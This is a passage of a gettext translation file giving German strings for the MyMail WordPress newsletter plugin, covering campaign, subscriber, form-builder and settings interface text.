msgstr "mehr Templates"

#: 
msgid "back to overview"
msgstr "zurück zur Übersicht"

#: 
msgid "Change Code"
msgstr "Ändere Code"

#: 
msgid "download template"
msgstr "download Template"

#: 
msgid "Download"
msgstr "Download"

#: 
msgid "get this template"
msgstr "Lade dieses Template"

#: 
msgid "this email address already exists!"
msgstr "diese E-Mailaddresse existiert bereits"

#: 
msgid "Subscriber already exists"
msgstr "Abonnent bereits vorhanden"

#: 
msgid "select the custom field which should sync with a certain meta field"
msgstr "wähle das Benutzerfeld welches mit einem gewissen Metadatenfeld synchronisiert werden soll"

#: 
msgid "has been sent"
msgstr "gesendet wurde"

#: 
msgid "has been opened"
msgstr "geöffnet wurde"

#: 
msgid "has been clicked"
msgstr "geklickt wurde"

#: 
msgid "Campaign does not exist"
msgstr "Kampagne existiert nicht"

#: 
msgid "ready!"
msgstr "fertig!"

#: 
msgid "error!"
msgstr "Fehler!"

#: 
msgid "An error occurs while uploading"
msgstr "Ein Fehler ist beim Hochladen aufgetreten!"

#: 
msgid "Unsupported file format"
msgstr "Dieses Dateiformat wird nicht unterstützt"

#: 
msgid "Share this on %s"
msgstr "Teil das auf %s"

#: 
msgid "No campaigns available"
msgstr "Keine Kampagnen verfügbar"

#: 
msgid "no preheader"
msgstr "kein Preheader"

#: 
msgid "You are currently sending with the %s delivery method"
msgstr "Du sendest zur Zeit mit %s"

#: 
msgid "Do you really like to reset all capabilities? This cannot be undone!"
msgstr "Willst du wirklich alle Berechtigungen zurücksetzten? Dieser Vorgang kann nicht rückgängig gemacht werden!"

#: 
msgid "Reset all capabilities"
msgstr "Alle Berechtigungen zurücksetzen"

#: 
msgid "campaign deleted"
msgstr "Kampagne gelöscht"

#: 
msgid "Do you really like to resend campaign %1$s to %2$s?"
msgstr "Wills du wirklich die Kampagne %1$s erneut an %2$s senden?"

#: 
msgid "resend this campaign"
msgstr "diese Kampagne erneut senden"

#: 
msgctxt "in [city], [country]"
msgid "in %s, %s"
msgstr "in %s, %s"

#: 
msgid "timeout reached"
msgstr "Servertimeout erreicht"

#: 
msgid "MyMail is not able to send your campaign cause of a server timeout. Please increase the %1$s on the %2$s"
msgstr "MyMail konnte deine Kampagne wegen eines Servertimeouts nicht senden. Bitte erhöhe die %1$s auf der %2$s"

#: 
msgid "Max. Execution Time"
msgstr "Max. Ausführungszeit"

#: 
msgid "settings page"
msgstr "Einstellungsseite"

#: 
msgid "a specific campaign"
msgstr "eine bestimmte Kampagne"

#: 
msgid "Auto Update"
msgstr "Automatisches Update"

#: 
msgid "enabled"
msgstr "aktiviert"

#: 
msgid "disabled"
msgstr "deaktiviert"

#: 
msgid "only minor updates"
msgstr "nur \"minor\" Updates"

#: 
msgid "define a maximum execution time to prevent server timeouts. If set to zero, no time limit is imposed."
msgstr "bestimme eine max. Ausführungzeit um Servertimeouts zu verhindern. Bei Null wird kein Zeitlimit gesetzt"

#: 
msgid "import WordPress Users"
msgstr "WordPress Benutzer importieren"

#: 
msgid "Link Button"
msgstr "Button verlinken"

#: 
msgid "Please check out %s if you have problems with the plugin"
msgstr "Falls du Probleme mit dem Plugin hast findest du Hilfe auf der %s "

#: 
msgid "Support Page"
msgstr "Support Seite"

#: 
msgid "No list found"
msgstr "Keine Liste gefunden"

#: 
msgid "Use a signup date if not defined"
msgstr "Verwende ein Anmeldedatum falls nicht definiert"

#: 
msgid "Some Auto responder require a signup date. Define it here if it is not set or missing"
msgstr "Manche Autoresponder benötigen ein Anmeldedatum. Bestimme es hier falls es nicht gesetzt ist oder fehlt"

#: 
msgid "Campaign %1$s has some delay cause of a sending error: %2$s"
msgstr "Kampagne %1$s verzögert sich etwas wegen eines Sendefehlers: %2$s "

#: 
msgid "Confirmations sent to %d pending subscribers"
msgstr "Bestätigungen wurden an %d ausstehende Abonnenten gesendet"

#: 
msgid "%d Subscribers added to list %s"
msgstr "%d Abonnenten wurde der Liste %s hinzugefügt"

#: 
msgid "%d Subscribers removed from list %s"
msgstr "%d Abonnenten wurden von der Liste %s entfernt"

#: 
msgid "Confirmation has been sent"
msgstr "Bestätigung wurde gesendet"

#: 
msgid "change status"
msgstr "Status ändern"

#: 
msgid "add to list"
msgstr "zur Liste hinzufügen"

#: 
msgid "remove from list"
msgstr "von Liste entfernen"

#: 
msgid "Homepage slugs"
msgstr "Homepage Slugs"

#: 
msgid "Confirm Slug"
msgstr "Bestätigung"

#: 
msgid "Subscribe Slug"
msgstr "Anmeldung"

#: 
msgid "Unsubscribe Slug"
msgstr "Abmeldung"

#: 
msgid "Profile Slug"
msgstr "Profil"

#: 
msgid "Pause campaigns"
msgstr "Kampagne pausieren"

#: 
msgid "pause campaigns if an error occurs"
msgstr "Kampagne pausieren falls Fehler passieren "

#: 
msgid "MyMail will change the status to \"pause\" if an error occur otherwise it tries to finish the campaign"
msgstr "MyMail wird den Status auf \"Pause\" setzten falls ein Fehler passiert andernfalls wird versucht die Kampagne zu beenden"

#: 
msgid "This user does not exist or has been deleted!"
msgstr "Dieser Benutzer existiert nicht oder wurde gelöscht!"

#: 
msgid "Do you really like to resend the confirmation?"
msgstr "Willst du die Bestätigung wirklich erneut senden?"

#: 
msgid "This subscriber has caused a sending error: %s"
msgstr "Diese Abonnent verursachte einen Sendefehler: %s"

#: 
msgid "%1$s on %2$s"
msgstr "%1$s am %2$s"

#: 
msgid "Comment"
msgstr "Kommetar"

#: 
msgid "Screenshot"
msgstr "Bildschirmfoto"

#: 
msgid "You can only have up to %d custom fields! Following fields have been removed: %s"
msgstr "Du kannst maximal bis zu %d benutzerdefinierte Felder haben! Folgende Felder wurden entfernt: %s"

#: 
msgid "load more entries (%s left)"
msgstr "lade weitere Einträge (noch %s)"

#: 
msgid "There was an error while deleting subscribers: %s"
msgstr "Ein Fehler ist beim Löschen der Abonnenten aufgetreten: %s"

#: 
msgid "%d Subscribers have been set to pending"
msgstr "%d Abonnenten wurden als ausstehend markiert"

#: 
msgid "auto updates are recommended for important fixes."
msgstr "Automatische Updates werden wegen wichtigen Bugfixes empfohlen"

#: 
msgid "System Mails"
msgstr "System E-Mails"

#: 
msgid "decide how MyMail uses the wp_mail function"
msgstr "bestimme wie MyMail the wp_mail Funktion benutzen soll"

#: 
msgid "Do not use MyMail for outgoing WordPress mails"
msgstr "Verwende MyMail nicht für WordPress E-Mails"

#: 
msgid "Use MyMail for all outgoing WordPress mails"
msgstr "Verwende MyMail für alle WordPress E-Mails"

#: 
msgid "Use only the template for all outgoing WordPress mails"
msgstr "Verwende nur das Template für alle WordPress E-Mails"

#: 
msgid "send confirmation (double-opt-in)"
msgstr "sende Bestätigung (Double-opt-in)"

#: 
msgid "Not able to create file in %s. Please make sure WordPress can write files to your filesystem!"
msgstr "Konnte die Datei %s nicht erstellen. Bitte stell sicher, dass WordPress auf das Dateisystem schreiben kann!"

#: 
msgid "Do you really like to remove file %s from template %s?"
msgstr "Willst du wirklich die Datei %s vom Template %s entfernen?"

#: 
msgid "Delete Subscriber"
msgstr "Abonnent löschen"

#: 
msgid "Delete Subscriber if the WordPress User gets deleted"
msgstr "Lösche Abonnenten wenn der WordPress Benutzer gelöscht wird"

#: 
msgid "only with these user roles:"
msgstr "nur mit diesen Rollen:"

#. mymail
#: 
msgid "List failed verification"
msgstr "Liste konnte nicht verifiziert werden"

#. mymail
#: 
msgid "Subscriber failed verification"
msgstr "Abonnent konnte nicht verifiziert werden"

#. mymail
#: 
msgid "No custom date fields found!"
msgstr "Keine benutzerdefinierten Datumsfelder gefunden"

#. mymail
#: 
msgid "add new fields"
msgstr "neue Felder hinzufügen"

#. mymail
#: 
msgid "List doesn't matter"
msgstr "Liste spielt keine Rolle"

#. mymail
#: 
msgid "Check your console for more info."
msgstr "Kontrolliere die Browserkonsole for mehr infos"

#. mymail
#: 
msgid "Filter Newsletter list"
msgstr "Newsletter filtern"

#. mymail
#: 
msgid "Newsletter list navigation"
msgstr "Newsletter Navigation"

#. mymail
#: 
msgid "Newsletter list"
msgstr "Newsletter Liste"

#. mymail
#: 
msgid "requires %1$s more %2$s"
msgstr "benötigt %1$s weitere %2$s "

#. mymail
#: 
msgid "assigned lists"
msgstr "zugeordnete Listen"

#. mymail
#: 
msgid "Rating"
msgstr "Bewertung"

#. mymail
#: 
msgid "match regex pattern"
msgstr "passt mit regulären Ausdruck"

#. mymail
#: 
msgid "does not match regex pattern"
msgstr "passt nicht mit regulären Ausdruck"

#. mymail
#: 
msgid "Finish Campaign"
msgstr "Kampagne beenden"

#. mymail
#: 
msgid "Finish"
msgstr "Beenden"

#. mymail
#: 
msgid "Edit base"
msgstr "Basis bearbeiten"

#. mymail
#: 
msgid "Do you really like to finish this campaign?"
msgstr "Möchtest du wirklich die Kampagne beenden"

#. mymail
#: 
msgid "Do you really like to remove all modules?"
msgstr "Möchtest du wirklich alle Module entfernen?"

#. mymail
#: 
msgid "Click to add %s"
msgstr "Klicken um %s hinzuzufügen"

#. mymail
#: 
msgid "Check the JS console for more info!"
msgstr "Kontrolliere die Browserkonsole for mehr infos"

#. mymail
#: 
msgid "You are not allowed to finish campaigns."
msgstr "Du darfst Kampagnen nicht beenden"

#. mymail
#: 
msgid "Please enter your email address"
msgstr "Bitte deine E-Mailaddresse eingeben"

#. mymail
#: 
msgid "This is a success info"
msgstr "Das ist eine Bestätigungsinfo"

#. mymail
#: 
msgid "This is an error message"
msgstr "Das ist eine Fehlermeldung"

#. mymail
#: 
msgid "Shortcode"
msgstr "Shortcode"

#. mymail
#: 
msgid "Fields"
msgstr "Felder"

#. mymail
#: 
msgid "Occurrence"
msgstr "Vorkommen"

#. mymail
#: 
msgid "There was an error while deleting forms: %s"
msgstr "Ein Fehler ist beim löschen des Formulars aufgetreten: %s"

#. mymail
#: 
msgid "%d forms have been removed"
msgstr "%d Formulare wurden entfernt"

#. mymail
#: 
msgid "There was an error while adding the form: %s"
msgstr "Ein Fehler ist beim Hinzufügen des Formulars aufgetreten: %s"

#. mymail
#: 
msgid "There was an error while updating the form: %s"
msgstr "Ein Fehler ist beim Aktualisieren des Formulars  aufgetreten: %s"

#. mymail
#: 
msgid "Form added"
msgstr "Formular hinzugefügt"

#. mymail
#: 
msgid "Form updated"
msgstr "Formular aktualisiert"

#. mymail
#: 
msgid "Form %s has been removed"
msgstr "Formular %s wurde entfernt"

#. mymail
#: 
msgid "The changes you made will be lost if you navigate away from this page."
msgstr "Änderungen werden verworfen wenn die Seite verlassen wird"

#. mymail
#: 
msgid "updating form requires ID"
msgstr "das Aktualisieren erfordert eine ID"

#. mymail
#: 
msgid "You have to confirm your email address. Please click the link below to confirm. %s"
msgstr "Sie müssen Ihre E-Mailadresse bestätigen. Bitte klicken Sie auf folgenden Link, %s"

#. mymail
#: 
msgid "Email is missing or wrong"
msgstr "E-Mail fehlt oder ist falsch"

#. mymail
#: 
msgid "%s is missing"
msgstr "%s fehlt"

#. mymail
#: 
msgid "No forms found"
msgstr "Keine Formulare gefunden"

#. mymail
#: 
msgid "This form is used for user profile updates"
msgstr "Dieses Formular wird für Profile verwendet"

#. mymail
#: 
msgid "change structure"
msgstr "ändere die Struktur"

#. mymail
#: 
msgid "change design"
msgstr "ändere Design"

#. mymail
#: 
msgid "Design"
msgstr "Design"

#. mymail
#: 
msgid "change settings"
msgstr "Einstellungen ändern"

#. mymail
#: classes/forms.table.class.php:81
msgid "use your form"
msgstr "verwende dein Formular"

#. mymail
#: 
msgid "Use it!"
msgstr "Use it!"

#. mymail
#: 
msgid "%d Widget"
msgid_plural "%d Widgets"
msgstr[0] ""
msgstr[1] ""

#. mymail
#: 
msgid "Please selected at least two lists!"
msgstr "Bitte mindestens zwei Listen auswählen!"

#. mymail
#: 
msgid "Lists have been merged. Please update your %s if necessary!"
msgstr "Listen wurden zusammengeführt. Bitte aktualisiere deine %s!"

#. mymail
#: 
msgid "campaigns"
msgstr "Kampagnen"

#. mymail
#: 
msgid "Merged List #%d"
msgstr "Zusammengeführte Liste #%d"

#. mymail
#: 
msgid "A merged list of"
msgstr "Eine zusammengeführte Liste von"

#. mymail
#: 
msgid "Merge selected Lists"
msgstr "Listen zusamenführen"

#. mymail
#: 
msgid "Statuscode"
msgstr "Statuscode"

#. mymail
#: 
msgid "Dismiss this notice (Alt-click to dismiss all notices)"
msgstr "Meldung verwerfen (Alt-Klick um alle Meldungen zu verwerfen)"

#. mymail
#: 
msgid "View details"
msgstr "Zeige Details"

#. mymail
#: 
msgid "Your newsletter homepage is not visible. Please %s the page"
msgstr "Deine Newsletter Homepage ist nicht sichtbar. Bitte %s deine Seite"

#. mymail
#: 
msgid "update"
msgstr "aktualisiere"

#. mymail
#: 
msgid "This is your newsletter homepage but it seems it is not set up correctly! Please follow %s for help!"
msgstr "Das ist deine Newsletter Homepage. Es scheint sie wurden nicht korrekt erstellt. Bitte folge %s für mehr Hilfe!"

#. mymail
#: 
msgid "this guid"
msgstr "diese Anleitung"

#. mymail
#: 
msgid "Please make sure all your campaigns are imported correctly!"
msgstr "Bitte stelle sicher, dass alle Kampagnen korrekt importiert wurden!"

#. mymail
#: 
msgid "You are receiving this email because you have enabled notifications for new subscribers %s"
msgstr "Du erhältst diese Benachrichtigung weil du diese für neue Abonnenten %s aktiviert hast"

#. mymail
#: 
msgid "on your settings page"
msgstr "in den Einstellungen"

#. mymail
#: 
msgid "A user has canceled your newsletter!"
msgstr "Ein Abonnent hat sich von deinem Newsletter abgemeldet!"

#. mymail
#: 
msgid "You are receiving this email because you have enabled notifications for unsubscriptions %s"
msgstr "Du erhältst diese Benachrichtigung weil du diese für Abonnenten, die sich abgemeldet haben %s aktiviert hast"

#. mymail
#: 
msgid "This is a test mail sent from %s"
msgstr "Das ist eine Test E-Mail, gesendet %s"

#. mymail
#: 
msgid "from your settings page"
msgstr "von den Einstellungen"

#. mymail
#: 
msgid "Confirmation Message"
msgstr "Bestätigungsnachricht "

#. mymail
#: 
msgid "%s has canceled"
msgstr "%s hat sich abgemeldet"

#. mymail
#: 
msgid "use the tag %s as url in the editbar"
msgstr "verwende den tag %s als URL in der Bearbeitungspaneele "

#. mymail
#: 
msgid "Please enter your Twitter application credentials on the settings page"
msgstr "Bitte gib die Daten deiner Twitter Applikation auf der Einstellungsseite ein"

#. mymail
#: 
msgid "Textarea"
msgstr "Textfeld"

#. mymail
#: 
msgid "No pending subscribers found"
msgstr "Keine anstehende Abonnenten gefunden"

#. mymail
#: 
msgid "No unsubscribed subscribers found"
msgstr "Keine abgemeldete Abonnenten gefunden"

#. mymail
#: 
msgid "No hardbounced subscribers found"
msgstr "Keine Abonnenten gefunden"

#. mymail
#: 
msgid "No subscriber with delivery errors found"
msgstr "Keine Abonnenten mit Sendefehlern gefunden"

#. mymail
#: 
msgid "No subscribers found"
msgstr "Keine Abonnenten gefunden"

#. mymail
#: 
msgid "You are about to OVERWRITE your exiting template files with a new version!"
msgstr "Möchtest du wirklich dein existierendes Template mit einer neueren Version überschreiben?"

#. mymail
#: 
msgid "Please make sure you have a backup of your files."
msgstr "Bitte erstelle ein Backup der Dateien."

#. mymail
#: 
msgid "Template successful updated!"
msgstr "Template wurde erfolgreich aktualisiert!"

#. mymail
#: 
msgid "Template successful loaded!"
msgstr "Template wurde erfolgreich geladen!"

#. mymail
#: 
msgid "Licensecode has been updated!"
msgstr "Lizenzcode wurde aktualisiert!"

#. mymail
#: 
msgid "An additional update is required for MyMail!"
msgstr "Ein weiteres Update für MyMail ist erforderlich!"

#. mymail
#: 
msgid "progress update now"
msgstr "jetzt ausführen"

#. mymail
#: 
msgid "Show form on newsletter homepage as well"
msgstr "Zeige dieses Formular auch auf der Newsletter Homepage"

#. mymail
#: 
msgid "Number of Subscribers"
msgstr "Anzahl der Abonnenten"

#. mymail
#: 
msgid "Display the number of your Subscribers"
msgstr "Zeige die Anzahl deiner Abonnenten"

#. mymail
#: 
msgid "Prefix"
msgstr "Prefix"

#. mymail
#: 
msgid "Postfix"
msgstr "Postfix"

#. mymail
#: 
msgid "Round up to the next"
msgstr "Aufrunden auf die nächsten"

#. mymail
#: 
msgid "do not round"
msgstr "nicht runden"

#. mymail
#: 
msgid "format number"
msgstr "Zahl formatieren"

#. mymail
#: 
msgid "edit forms"
msgstr "Formular bearbeiten"

#. mymail
#: 
msgid "add forms"
msgstr "Formular hinzufügen"

#. mymail
#: 
msgid "delete forms"
msgstr "Formular löschen"

#. mymail
#: 
msgid "update templates"
msgstr "Templates aktualisieren"

#. mymail
#: 
msgid "Woha! Seems you havn't sent any campaign yet!"
msgstr "Es scheint, als ob du noch keine Kampagne gesendet hast!"

#. mymail
#: 
msgid "Check out existing Campaigns"
msgstr "Vorhandene Kampagnen ansehen"

#. mymail
#: 
msgid "Subscriber Grows"
msgstr "Abonnentenzuwachs "

#. mymail
#: 
msgid "7 days"
msgstr "7 Tage"

#. mymail
#: 
msgid "30 days"
msgstr "30 Tage"

#. mymail
#: 
msgid "3 month"
msgstr "3 Monate"

#. mymail
#: 
msgid "1 year"
msgstr "1 Jahr"

#. mymail
#: 
msgid "You have no subscribers yet!"
msgstr "Du hast zu Zeit keine Abonnenten!"

#. mymail
#: 
msgid "Add a single Subscriber"
msgstr "Einen Abonnenten hinzufügen"

#. mymail
#: 
msgid "Import your existing Subscribers"
msgstr "Importiere deine vorhanden Abonnenten"

#. mymail
#: 
msgid "Create a Form to engage new Subscribers"
msgstr "Erstelle ein neues Formular um neue Abonnenten zu bekommen"

#. mymail
#: 
msgid "This form does not exist or has been deleted!"
msgstr "Dieses Formular gibt es nicht oder wurde gelöscht!"

#. mymail
#: 
msgid "You don't have the right permission to add new forms"
msgstr "Du hast nicht die Rechte um Formulare hinzuzufügen"

#. mymail
#: 
msgid "delete Form"
msgstr "Form löschen"

#. mymail
#: 
msgid "Do you really like to remove this form?"
msgstr "Willst du dieses Formular wirklich löschen?"

#. mymail
#: 
msgid "Add new Form"
msgstr "Neues Formular"

#. mymail
#: 
msgid "Edit Form"
msgstr "Formular bearbeiten"

#. mymail
#: 
msgid "Define the structure of your form below. Drag available fields in the left area to add them to your form. Rearrange fields by dragging fields around"
msgstr "Bestimme die Struktur deines Formulars. Ziehe die verfügbaren Felder in das linke Feld. Um Felder zu sortieren, ziehe diese an einen neuen Platz"

#. mymail
#: 
msgid "Form Fields"
msgstr "Formular Felder"

#. mymail
#: 
msgid "Label"
msgstr "Bezeichnung"

#. mymail
#: 
msgid "define an error message for this field"
msgstr "Bestimme die Fehlermeldung für dieses Feld"

#. mymail
#: 
msgid "Error Message (optional)"
msgstr "Fehlermeldung (optional)"

#. mymail
#: 
msgid "Available Fields"
msgstr "Verfügbare Felder"

#. mymail
#: 
msgid "back to Fields"
msgstr "zurück zu den Feldern"

#. mymail
#: 
msgid "define the Options"
msgstr "definiere Optionen"

#. mymail
#: 
msgid "Form Design"
msgstr "Formular Design"

#. mymail
#: 
msgid "Include your Theme's style.css"
msgstr "Die sytle.css Datei deines Themes verwenden"

#. mymail
#: 
msgid "Your form may look different depending on the place you are using it!"
msgstr "Dein Formular schaut eventuell anders aus abhängig von dem Ort wo es verwendet wird!"

#. mymail
#: 
msgid "Global"
msgstr "Global"

#. mymail
#: 
msgid "Button"
msgstr "Schaltfläche"

#. mymail
#: 
msgid "Info Messages"
msgstr "Info Box"

#. mymail
#: 
msgid "Label Color"
msgstr "Farbe der Bezeichnung"

#. mymail
#: 
msgid "custom style"
msgstr "Benutzerdefinierter Style"

#. mymail
#: 
msgid "Input Text Color"
msgstr "Textfeldfarbe"

#. mymail
#: 
msgid "Input Background Color"
msgstr "Texthintergrundfarbe"

#. mymail
#: 
msgid "Input Focus Color"
msgstr "Textfeldfarbe (focus)"

#. mymail
#: 
msgid "Required Asterisk"
msgstr "Pflichtfeldsternchen"

#. mymail
#: 
msgid "Background Color"
msgstr "Hintergrundfarbe"

#. mymail
#: 
msgid "Text Color"
msgstr "Textfarbe"

#. mymail
#: 
msgid "Hover Color"
msgstr "Farbe (hover)"

#. mymail
#: 
msgid "Hover Text Color"
msgstr "Textfarbe (hover)"

#. mymail
#: 
msgid "Input"
msgstr "Eingabefeld"

#. mymail
#: 
msgid "Input Background"
msgstr "Eingabefeldhintergrund"

#. mymail
#: 
msgid "Success message Color"
msgstr "Textfarbe der Bestätigung"

#. mymail
#: 
msgid "Success message Background"
msgstr "Farbe der Bestätigung"

#. mymail
#: 
msgid "Custom Style"
msgstr "Benutzerdefinierter Style"

#. mymail
#: 
msgid "add custom CSS to your form"
msgstr "Füge eine eigene CSS zu deinem Formular"

#. mymail
#: 
msgid "Selector Prefix"
msgstr "Selector Prefix"

#. mymail
#: 
msgid "Form selector"
msgstr "Formular Selector"

#. mymail
#: 
msgid "Field wrapper"
msgstr "Feld"

#. mymail
#: 
msgid "Custom Field Wrapper divs"
msgstr "Benutzerdefinierte Felder"

#. mymail
#: 
msgid "Custom Field Inputs"
msgstr "Benutzerdefinierte Eingabefelder"

#. mymail
#: 
msgid "back to Design"
msgstr "zurück zum Design"

#. mymail
#: 
msgid "Form Options"
msgstr "Formular Optionen"

#. mymail
#: 
msgid "allow users to update their data with this form"
msgstr "erlaube Benutzer ihre Daten mit diesem Formular zu aktualisieren"

#. mymail
#: 
msgid "use this form as user profile."
msgstr "verwende diese Formular als Profil"

#. mymail
#: 
msgid "Currently %s is your profile form"
msgstr "Zur Zeit ist %s dein Profilformular"

#. mymail
#: 
msgid "List Options"
msgstr "Listenoptionen"

#. mymail
#: 
msgid "Double Opt In"
msgstr "Double Opt In"

#. mymail
#: 
msgid "Confirmation Settings"
msgstr "Bestätigungseintellungen"

#. mymail
#: views/forms/detail.php:444 views/forms/detail.php:579
msgid "back to Settings"
msgstr "zurück zu den Einstellungen"

#. mymail
#: 
msgid "Use this shortcode wherever they are excepted."
msgstr "Verwende diesen Shortcode überall dort wo er akzeptiert wird"

#. mymail
#: 
msgid "Read more about shortcodes at %s"
msgstr "Lese mehr über Shortcodes hier %s"

#. mymail
#: 
msgid "Widget"
msgstr "Widget"

#. mymail
#: 
msgid "Use this form as a %s in one of your sidebars"
msgstr "Verwende dieses Formular als %s in einer deiner Seitenleisten"

#. mymail
#: 
msgid "widget"
msgstr "Widget"

#. mymail
#: 
msgid "Embed a button where users can subscribe on any website"
msgstr "Binde den Button auf Webseiten ein um ihnen zu erlauben sich anzumelden"

#. mymail
#: 
msgid "Button Style"
msgstr "Button Style"

#. mymail
#: 
msgid "Button Options"
msgstr "Buttoneinstellungen"

#. mymail
#: 
msgid "Popup width"
msgstr "Popup Breite"

#. mymail
#: 
msgid "Use Form Default"
msgstr "vom Formular bestimmt"

#. mymail
#: 
msgid "Subscriber Count"
msgstr "Abonenntenanzahl"

#. mymail
#: 
msgid "Display subscriber count"
msgstr "Zeigen Abonenntenanzahl"

#. mymail
#: 
msgid "Count above Button"
msgstr "Zähler über Button"

#. mymail
#: 
msgid "Preview and Code"
msgstr "Vorschau und Code"

#. mymail
#: 
msgid "Test your button"
msgstr "Teste deinen Button"

#. mymail
#: 
msgid "embed it somewhere"
msgstr "verwende diesen Code auf einer Seite"

#. mymail
#: 
msgid "or use this shortcode on your site"
msgstr "oder verwende diesen Shortcode auf deiner Seite"

#. mymail
#: 
msgid "Form HTML"
msgstr "Formular HTML"

#. mymail
#: 
msgid "iFrame Version"
msgstr "iFrame Version"

#. mymail
#: 
msgid "HTML Version"
msgstr "HTML Version"

#. mymail
#: 
msgid "Search Forms"
msgstr "Suche Formulare"

#. mymail
#: 
msgid "This list does not exist or has been deleted!"
msgstr "Diese Liste existiert nicht oder wurde gelöscht"

#. mymail
#: 
msgid "no description"
msgstr "keine Beschreibung"

#. mymail
#: 
msgid "users without a role"
msgstr "Benutzer ohne Rolle"

#. mymail
#: 
msgid "Keep in mind it is bad practice to send campaigns after subscribers opt-out so use this option for \"Thank you\" messages or surveys."
msgstr "Bitte beachte, dass das Senden von Kampagnen nach dem Abmelden nicht gemacht werden sollte. Verwende diese Option für's Danke sagen oder für Umfragen. "

#. mymail
#: 
msgid "%1$s %2$s have been published"
msgstr "%1$s %2$s wurden veröffentlicht"

#. mymail
#: 
msgid "every %1$s %2$s"
msgstr "jede(r) %1$s %2$s"

#. mymail
#: 
msgid "on the exact date"
msgstr "beim exaktem Datum"

#. mymail
#: 
msgid "of the users %1$s value"
msgstr "des Benutzers %1$s Wert"

#. mymail
#: 
msgid "no title"
msgstr "kein Titel"

#. mymail
#: 
msgid "click"
msgid_plural "clicks"
msgstr[0] ""
msgstr[1] ""

#. mymail
#: 
msgid "Distraction-free edit mode"
msgstr "Störungsfreier Modus"

#. mymail
#: 
msgid "Form ID"
msgstr "Formular ID"

#. mymail
#: 
msgid "Referer"
msgstr "Verweis"

#. mymail
#: 
msgid "Modules"
msgstr "Module"

#. mymail
#: 
msgid "Advanced"
msgstr "Fortgeschritten"

#. mymail
#: 
msgid "visit"
msgstr "ansehen"

#. mymail
#: 
msgid "Send a notification if subscribers cancel their subscription to following receivers (comma separated)"
msgstr "Sende eine Benachrichtigung falls ein Abonnent sich abmeldet zu folgenden Adressen (durch Komma getrennt)"

#. mymail
#: 
msgid "Respect users \"Do Not Track\" option"
msgstr "Respektiere die \"Do Not Track\" Einstellung"

#. mymail
#: 
msgid "If enabled MyMail will respect users option for not getting tracked. Read more on the %s"
msgstr "MyMail wird die Einstellung Benutzer nicht verfolgen respektieren. Lese mehr darüber auf der %s"

#. mymail
#: 
msgid "official website"
msgstr "offiziellen Webseite"

#. mymail
#: 
msgid "Single-Opt-Out"
msgstr "Einfachen Abmelden (Single-Opt-Out)"

#. mymail
#: 
msgid "Subscribers instantly signed out after clicking the unsubscribe link in mails"
msgstr "Abonnenten werden sofort abgemeldet, wenn sie den Abmelde link klicken"

#. mymail
#: 
msgid "Advanced Settings"
msgstr "Fortgeschritten Einstellungen"

#. mymail
#: 
msgid "Disable Cache"
msgstr "Cache deaktivieren"

#. mymail
#: 
msgid "Disable Object Cache for MyMail"
msgstr "Objektcache für MyMail deaktivieren"

#. mymail
#: 
msgid "If enabled MyMail doesn't use cache anymore. This causes an increase in page load time! This option is not recommended!"
msgstr "MyMail wird den Cache nicht mehr verwenden. Dies verursacht unter Umständen eine erhöhte Ladezeit. Diese Einstellung ist nicht empfohlen!"

#. mymail
#: 
msgid "remove Data"
msgstr "Daten entfernen"

#. mymail
#: 
msgid "remove all data on plugin deletion"
msgstr "alle Daten beim löschen des Plugins entfernen"

#. mymail
#: 
msgid "The user rating is based on different factors like open rate, click rate and bounces"
msgstr "Die Benutzerbewertung basiert auf verschiedenen Faktoren wie Öffnungs-,Klick- und Bounce Rate"

#. mymail
#: 
msgid "User Rating"
msgstr "Benutzerbewertung"

#. mymail
#: 
msgid "adjusted click rate"
msgstr "angepasste Klickrate"

#. mymail
#: 
msgid "Start new Campaign"
msgstr "Starte neue Kampagne"

#. mymail
#: 
msgid "Enter Licensecode"
msgstr "Lizenzcode eingeben"

#. mymail
#: 
msgid "save"
msgstr "Speichern"

#. mymail
#: 
msgid "Seems there was a problem getting the list of templates"
msgstr "Anscheinend gab es ein Problem beim laden der Templateliste"

#. mymail
#: 
msgid "no match for your selection!"
msgstr "Kein Treffer für deine Auswahl!"

#. mymail
#: 
msgid "error is unknown"
msgstr "Fehler ist nicht bekannt"

#. mymail
#: 
msgid "Homepage already created!"
msgstr "Homepage wurde bereits erstellt!"

#. mymail
#: 
msgid "You are not allowed to add subscribers!"
msgstr "Du darfst keine Abonnenten hinzufügen!"

#. mymail
#: 
msgid "You are not allowed to edit subscribers!"
msgstr "Du darfst keine Abonnenten bearbeiten!"

#. mymail
#: 
msgid "You are not allowed to delete subscribers!"
msgstr "Du darfst keine Abonnenten löschen!"

#. mymail
#: 
msgid "There was an error while deleting subscribers!"
msgstr "Ein Fehler ist beim Löschen aufgetreten!"

#. mymail
#: 
msgid "You are not allowed to publish campaigns!"
msgstr "Du darfst Kampagnen nicht veröffentlichen!"

#. mymail
#: 
msgid "Module #%d"
msgstr "Modul #%d"

#. mymail
#: 
msgid "MyMail has been updated to %s."
msgstr "MyMail wurde auf Version %s aktualisiert."

#. mymail
#: 
msgid "Changelog"
msgstr "Änderungen"

#. mymail
#: 
msgid "new subscribers are subscribed instantly without confirmation."
msgstr "neue Abonnenten werden sofort angemeldet ohne dies zu bestätigen."

#. mymail
#: 
msgid "new subscribers must confirm their subscription."
msgstr "neue Abonnenten müssen ihre Anmeldung betätigen."

#. mymail
#: 
msgid "only for subscribers who signed up"
msgstr "nur für Abonnenten, die sich nach diesem Datum angemeldet haben"

#. mymail
#: 
msgid "only for subscribers who canceled their subscription"
msgstr "nur für Abonnenten, die sich nach diesem Datum abgemeldet haben"

#. mymail
#: 
msgid "Current Match"
msgstr "Aktueller Treffer"

#. mymail
#: 
msgid "Search Engine Visibility"
msgstr "Sichtbarkeit für Suchmaschinen"

#. mymail
#: 
msgid "Discourage search engines from indexing your campaigns"
msgstr "Suchmaschinen davon abhalten, diese Website zu indexieren"

#. mymail
#: 
msgid "Delete WordPress User"
msgstr "WordPress User löschen"

#. mymail
#: 
msgid "Delete WordPress User if the Subscriber gets deleted"
msgstr "lösche den WordPress User wenn der Abonnent gelöscht wird"

#. mymail
#: 
msgid "Attention! This option will remove assigned WordPress Users without further notice. You must have the capability to delete WordPress Users. Administrators and the current user can not get deleted with this option"
msgstr "Achtung! Diese Option löscht verknüpfte WordPress User ohne weitere Nachricht. Du benötigst die nötigen Rechte um WordPress User zu löschen. Administratoren und der aktuelle User werden mit dieser Einstellung nicht gelöscht"

#. mymail
#: 
msgid "image ID"
msgstr "Bild ID"

#. mymail
#: 
msgid "Hide this tab if purchasecode has been entered"
msgstr "Verstecke diesen Bereich wenn der Lizenzcode eingegeben wurde"

#. mymail
#: 
